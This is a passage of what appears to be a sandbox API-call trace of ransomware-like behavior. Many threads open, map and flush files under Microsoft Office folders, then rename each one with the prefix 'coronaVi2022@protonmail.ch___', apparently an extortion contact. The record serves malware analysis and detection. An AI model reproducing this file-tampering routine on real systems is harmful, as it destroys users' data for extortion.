	[0091.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.414] free (_Block=0x51fe0e0) 
	[0091.414] RtlExitUserThread (Status=0x0) 

Thread:
	id = 348
	os_tid = 0x15f8

	[0090.091] _alloca_probe () returned 0x40328a
	[0090.092] GetCurrentThreadId () returned 0x15f8
	[0090.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948
	[0090.093] GetFileSizeEx (in: hFile=0x948, lpFileSize=0x6a9ff5c | out: lpFileSize=0x6a9ff5c*=2153) returned 1
	[0090.093] CreateFileMappingA (hFile=0x948, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x871, lpName=0x0) returned 0x94c
	[0090.093] MapViewOfFile (hFileMappingObject=0x94c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x6aa0000
	[0090.266] UnmapViewOfFile (lpBaseAddress=0x6aa0000) returned 1
	[0090.266] CloseHandle (hObject=0x94c) returned 1
	[0090.266] GetCurrentThreadId () returned 0x15f8
	[0090.266] FlushFileBuffers (hFile=0x948) returned 1
	[0091.208] CloseHandle (hObject=0x948) returned 1
	[0091.364] _swprintf (in: param_1=0x6a99f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 191
	[0091.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1
	[0091.424] free (_Block=0x5202100) 
	[0091.424] RtlExitUserThread (Status=0x0) 

Thread:
	id = 349
	os_tid = 0x15fc

	[0090.095] _alloca_probe () returned 0x40328a
	[0090.096] GetCurrentThreadId () returned 0x15fc
	[0090.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954
	[0090.097] GetFileSizeEx (in: hFile=0x954, lpFileSize=0x6beff5c | out: lpFileSize=0x6beff5c*=2153) returned 1
	[0090.097] CreateFileMappingA (hFile=0x954, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x871, lpName=0x0) returned 0x958
	[0090.098] MapViewOfFile (hFileMappingObject=0x958, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x6bf0000
	[0090.265] UnmapViewOfFile (lpBaseAddress=0x6bf0000) returned 1
	[0090.265] CloseHandle (hObject=0x958) returned 1
	[0090.265] GetCurrentThreadId () returned 0x15fc
	[0090.265] FlushFileBuffers (hFile=0x954) returned 1
	[0091.204] CloseHandle (hObject=0x954) returned 1
	[0091.363] _swprintf (in: param_1=0x6be9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 191
	[0091.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1
	[0091.423] free (_Block=0x51fb0c8) 
	[0091.423] RtlExitUserThread (Status=0x0) 

Thread:
	id = 350
	os_tid = 0x1600

	[0091.491] _alloca_probe () returned 0x40328a
	[0091.492] GetCurrentThreadId () returned 0x1600
	[0091.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.gif", dwFileAttributes=0x80) returned 1
	[0091.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4
	[0091.494] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=9024) returned 1
	[0091.494] CreateFileMappingA (hFile=0x8b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2340, lpName=0x0) returned 0x81c
	[0091.494] MapViewOfFile (hFileMappingObject=0x81c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0091.499] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0091.499] CloseHandle (hObject=0x81c) returned 1
	[0091.499] GetCurrentThreadId () returned 0x1600
	[0091.499] FlushFileBuffers (hFile=0x8b4) returned 1
	[0091.887] CloseHandle (hObject=0x8b4) returned 1
	[0091.887] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00004_.gif") returned 97
	[0091.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00004_.gif")) returned 1
	[0092.121] free (_Block=0x51f4090) 
	[0092.121] RtlExitUserThread (Status=0x0) 

Thread:
	id = 351
	os_tid = 0x1604

	[0091.495] _alloca_probe () returned 0x40328a
	[0091.496] GetCurrentThreadId () returned 0x1604
	[0091.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.gif", dwFileAttributes=0x80) returned 1
	[0091.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c8
	[0091.562] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=7216) returned 1
	[0091.562] CreateFileMappingA (hFile=0x7c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c30, lpName=0x0) returned 0x788
	[0091.562] MapViewOfFile (hFileMappingObject=0x788, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0091.629] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0091.629] CloseHandle (hObject=0x788) returned 1
	[0091.629] GetCurrentThreadId () returned 0x1604
	[0091.629] FlushFileBuffers (hFile=0x7c8) returned 1
	[0092.304] CloseHandle (hObject=0x7c8) returned 1
	[0092.304] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00011_.gif") returned 97
	[0092.304] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00011_.gif")) returned 1
	[0092.354] free (_Block=0x51f1078) 
	[0092.354] RtlExitUserThread (Status=0x0) 

Thread:
	id = 352
	os_tid = 0x1608

	[0091.508] _alloca_probe () returned 0x40328a
	[0091.509] GetCurrentThreadId () returned 0x1608
	[0091.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.gif", dwFileAttributes=0x80) returned 1
	[0091.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838
	[0091.563] GetFileSizeEx (in: hFile=0x838, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=14873) returned 1
	[0091.563] CreateFileMappingA (hFile=0x838, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a21, lpName=0x0) returned 0x93c
	[0091.565] MapViewOfFile (hFileMappingObject=0x93c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2410000
	[0091.625] UnmapViewOfFile (lpBaseAddress=0x2410000) returned 1
	[0091.625] CloseHandle (hObject=0x93c) returned 1
	[0091.625] GetCurrentThreadId () returned 0x1608
	[0091.626] FlushFileBuffers (hFile=0x838) returned 1
	[0092.183] CloseHandle (hObject=0x838) returned 1
	[0092.183] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00021_.gif") returned 97
	[0092.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00021_.gif")) returned 1
	[0092.348] free (_Block=0x51f3088) 
	[0092.348] RtlExitUserThread (Status=0x0) 

Thread:
	id = 353
	os_tid = 0x160c

	[0091.510] _alloca_probe () returned 0x40328a
	[0091.511] GetCurrentThreadId () returned 0x160c
	[0091.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.gif", dwFileAttributes=0x80) returned 1
	[0091.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868
	[0091.563] GetFileSizeEx (in: hFile=0x868, lpFileSize=0x368ff5c | out: lpFileSize=0x368ff5c*=6684) returned 1
	[0091.564] CreateFileMappingA (hFile=0x868, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a27, lpName=0x0) returned 0x930
	[0091.565] MapViewOfFile (hFileMappingObject=0x930, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3a50000
	[0091.665] UnmapViewOfFile (lpBaseAddress=0x3a50000) returned 1
	[0091.665] CloseHandle (hObject=0x930) returned 1
	[0091.665] GetCurrentThreadId () returned 0x160c
	[0091.665] FlushFileBuffers (hFile=0x868) returned 1
	[0092.304] CloseHandle (hObject=0x868) returned 1
	[0092.307] _swprintf (in: param_1=0x3689f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00037_.gif") returned 97
	[0092.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00037_.gif")) returned 1
	[0092.355] free (_Block=0x51f5098) 
	[0092.355] RtlExitUserThread (Status=0x0) 

Thread:
	id = 354
	os_tid = 0x1610

	[0091.512] _alloca_probe () returned 0x40328a
	[0091.513] GetCurrentThreadId () returned 0x1610
	[0091.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.gif", dwFileAttributes=0x80) returned 1
	[0091.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e4
	[0091.564] GetFileSizeEx (in: hFile=0x7e4, lpFileSize=0x37cff5c | out: lpFileSize=0x37cff5c*=3251) returned 1
	[0091.564] CreateFileMappingA (hFile=0x7e4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcb5, lpName=0x0) returned 0x924
	[0091.566] MapViewOfFile (hFileMappingObject=0x924, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3a60000
	[0091.660] UnmapViewOfFile (lpBaseAddress=0x3a60000) returned 1
	[0091.660] CloseHandle (hObject=0x924) returned 1
	[0091.660] GetCurrentThreadId () returned 0x1610
	[0091.660] FlushFileBuffers (hFile=0x7e4) returned 1
	[0092.304] CloseHandle (hObject=0x7e4) returned 1
	[0092.308] _swprintf (in: param_1=0x37c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00038_.gif") returned 97
	[0092.308] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00038_.gif")) returned 1
	[0092.355] free (_Block=0x51f60a0) 
	[0092.355] RtlExitUserThread (Status=0x0) 

Thread:
	id = 355
	os_tid = 0x1614

	[0091.514] _alloca_probe () returned 0x40328a
	[0091.515] GetCurrentThreadId () returned 0x1614
	[0091.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.gif", dwFileAttributes=0x80) returned 1
	[0091.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c
	[0091.564] GetFileSizeEx (in: hFile=0x81c, lpFileSize=0x390ff5c | out: lpFileSize=0x390ff5c*=8097) returned 1
	[0091.564] CreateFileMappingA (hFile=0x81c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fa1, lpName=0x0) returned 0x954
	[0091.564] MapViewOfFile (hFileMappingObject=0x954, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2400000
	[0091.627] UnmapViewOfFile (lpBaseAddress=0x2400000) returned 1
	[0091.627] CloseHandle (hObject=0x954) returned 1
	[0091.627] GetCurrentThreadId () returned 0x1614
	[0091.627] FlushFileBuffers (hFile=0x81c) returned 1
	[0092.299] CloseHandle (hObject=0x81c) returned 1
	[0092.303] _swprintf (in: param_1=0x3909f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00040_.gif") returned 97
	[0092.303] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00040_.gif")) returned 1
	[0092.351] free (_Block=0x51f0070) 
	[0092.351] RtlExitUserThread (Status=0x0) 

Thread:
	id = 356
	os_tid = 0x1618

	[0091.516] _alloca_probe () returned 0x40328a
	[0091.517] GetCurrentThreadId () returned 0x1618
	[0091.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.gif", dwFileAttributes=0x80) returned 1
	[0091.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948
	[0091.565] GetFileSizeEx (in: hFile=0x948, lpFileSize=0x3a4ff5c | out: lpFileSize=0x3a4ff5c*=7686) returned 1
	[0091.565] CreateFileMappingA (hFile=0x948, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e0b, lpName=0x0) returned 0x918
	[0091.566] MapViewOfFile (hFileMappingObject=0x918, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3a70000
	[0091.659] UnmapViewOfFile (lpBaseAddress=0x3a70000) returned 1
	[0091.659] CloseHandle (hObject=0x918) returned 1
	[0091.659] GetCurrentThreadId () returned 0x1618
	[0091.659] FlushFileBuffers (hFile=0x948) returned 1
	[0092.304] CloseHandle (hObject=0x948) returned 1
	[0092.308] _swprintf (in: param_1=0x3a49f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00052_.gif") returned 97
	[0092.308] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00052_.gif")) returned 1
	[0092.357] free (_Block=0x51fd0d8) 
	[0092.357] RtlExitUserThread (Status=0x0) 

Thread:
	id = 357
	os_tid = 0x161c

	[0091.567] _alloca_probe () returned 0x40328a
	[0091.568] GetCurrentThreadId () returned 0x161c
	[0091.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.gif", dwFileAttributes=0x80) returned 1
	[0091.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4
	[0091.569] GetFileSizeEx (in: hFile=0x8f4, lpFileSize=0x3bbff5c | out: lpFileSize=0x3bbff5c*=11891) returned 1
	[0091.569] CreateFileMappingA (hFile=0x8f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e75, lpName=0x0) returned 0x8e8
	[0091.569] MapViewOfFile (hFileMappingObject=0x8e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3bc0000
	[0091.882] UnmapViewOfFile (lpBaseAddress=0x3bc0000) returned 1
	[0091.883] CloseHandle (hObject=0x8e8) returned 1
	[0091.883] GetCurrentThreadId () returned 0x161c
	[0091.883] FlushFileBuffers (hFile=0x8f4) returned 1
	[0092.305] CloseHandle (hObject=0x8f4) returned 1
	[0092.309] _swprintf (in: param_1=0x3bb9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00057_.gif") returned 97
	[0092.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00057_.gif")) returned 1
	[0092.358] free (_Block=0x51f90b8) 
	[0092.358] RtlExitUserThread (Status=0x0) 

Thread:
	id = 358
	os_tid = 0x1620

	[0091.571] _alloca_probe () returned 0x40328a
	[0091.571] GetCurrentThreadId () returned 0x1620
	[0091.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.gif", dwFileAttributes=0x80) returned 1
	[0091.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8
	[0091.573] GetFileSizeEx (in: hFile=0x8c8, lpFileSize=0x3d0ff5c | out: lpFileSize=0x3d0ff5c*=517) returned 1
	[0091.573] CreateFileMappingA (hFile=0x8c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x209, lpName=0x0) returned 0x8bc
	[0091.573] MapViewOfFile (hFileMappingObject=0x8bc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3d10000
	[0091.574] UnmapViewOfFile (lpBaseAddress=0x3d10000) returned 1
	[0091.574] CloseHandle (hObject=0x8bc) returned 1
	[0091.574] GetCurrentThreadId () returned 0x1620
	[0091.574] FlushFileBuffers (hFile=0x8c8) returned 1
	[0091.884] CloseHandle (hObject=0x8c8) returned 1
	[0091.885] _swprintf (in: param_1=0x3d09f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00090_.gif") returned 97
	[0091.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00090_.gif")) returned 1
	[0092.319] free (_Block=0x51f80b0) 
	[0092.319] RtlExitUserThread (Status=0x0) 

Thread:
	id = 359
	os_tid = 0x1624

	[0091.576] _alloca_probe () returned 0x40328a
	[0091.577] GetCurrentThreadId () returned 0x1624
	[0091.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.gif", dwFileAttributes=0x80) returned 1
	[0091.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4
	[0091.905] GetFileSizeEx (in: hFile=0x8a4, lpFileSize=0x3e4ff5c | out: lpFileSize=0x3e4ff5c*=502) returned 1
